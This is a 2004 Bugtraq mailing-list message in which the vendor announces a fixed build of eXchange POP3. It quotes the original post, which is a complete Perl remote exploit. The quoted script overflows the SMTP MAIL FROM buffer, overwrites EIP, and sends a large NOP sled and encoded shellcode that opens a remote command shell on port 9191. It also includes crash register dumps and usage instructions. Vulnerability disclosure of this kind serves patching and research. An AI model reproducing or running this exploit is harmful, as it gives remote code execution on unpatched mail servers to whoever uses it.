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List: bugtraq
Subject: Re: Exchange pop3 remote exploit
From: Tal Schaeffer <tal_schaeffer () hotmail ! com>
Date: 2004-05-27 14:08:26
Message-ID: 20040527140826.2150.qmail () www ! securityfocus ! com
[Download RAW message or body]
In-Reply-To: <1082416318017809@lycos-europe.com>
A new build of eXchange POP3 has been posted which fixes this Issue. The new build \
5.0.1629 can be downloaded from: http://www.exchangepop3.com/download.html
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> Received: (qmail 6911 invoked from network); 19 Apr 2004 17:02:23 -0000
> From: "securma massine " <securma@caramail.com>
> To: bugtraq@securityfocus.com
> Message-ID: <1082416318017809@lycos-europe.com>
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> Subject: Exchange pop3 remote exploit
> Date: Mon, 19 Apr 2004 23:11:58 GMT
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> --=_NextPart_Lycos_0178091082416318_ID
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>
> #!/usr/bin/perl -w
>
> #Exchange pop3 Remote Exploit
> #eXchange POP3 is a gateway (connector) that downloads messages from Internet \
> mailboxes #using the POP3 or IMAP protocol. It then determines the proper \
> recipient(s) for each message #and sends them to Exchange Server using the SMTP \
> protocol. #eXchange POP3 can also receive Internet-bound messages from Exchange \
> Server and relay them to #the Internet. (www.exchangepop3.com )
> #by sending a buffer 1025 byte we have:
> #telnet target 25
> #220 xwcf ESMTP
> #mail from:<< "A"x1019 server is down
> #registres:
> #eax=00000000 ebx=00000000 ecx=61616161 edx=77f733b4
> #esi=00000000 edi=00000000 esp=01ebf0d0 ebp=01ebf0f0
> #eip=61616161
> # the other problem lies in the fact that esp does not point at the beginning of \
> our buffer, # I chose another approach, and to seek in another zone memory.
> # the ret address can be modified as well as the size of the buffer by using \
> windbg. # the exploit was tested on xp sp1 win2000 by using different shellcodes, \
> the size of shellcode # does not have any effect, for the nop 528999 is the \
> minimal size which I could find to fall on ret # address, you can also modify this \
> value... # this exploit is used for test only and I am not to in no case \
> responsible for what you can do. #greez: simo,abder,marocit,#crack.fr
>
> use Net::SMTP;
> $remote=$ARGV[0];
> $buffer = "A"x1015;
> $ret ="\x80\x1d\xdc\x02";# Another memory zone
> $nop ="\x90"x1999999;
> $shellcode = \
> "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33". \
> "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C". \
> "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE". \
> "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB". \
> "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77". \
> "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77". \
> "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77". \
> "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77". \
> "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77". \
> "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77". \
> "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77". \
> "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77". \
> "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77". \
> "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB". \
> "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C". \
> "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0". \
> "\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77". \
> "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0". \
> "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB". \
> "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5". \
> "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98". \
> "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE". \
> "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77". \
> "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8". \
> "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF". \
> "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90". \
> "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74". \
> "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4". \
> "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94". \
> "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5". \
> "\xD3\x4A\x8C\x88"; if (not $ARGV[0]) {
> print qq~
> Usage: Exch.pl <host>
> ~;
> exit;}
> print "+++++++++++++++++++++++\n\n";
> print "Exchange pop3 exploit \n\n";
> print "Discovered by securma massine \n\n";
> print "securma\@caramail.com \n\n";
> print "+++++++++++++++++++++++\n\n";
>
> $smtp = Net::SMTP->new($remote);
> $smtp->mail($buffer . $ret . $nop . $shellcode);
> print "\nNow telnet to your cmd shell port 9191 \n";
>
> Marre des Spams ? - http://www.caramailmax.com
>
>
> --=_NextPart_Lycos_0178091082416318_ID--
>
>
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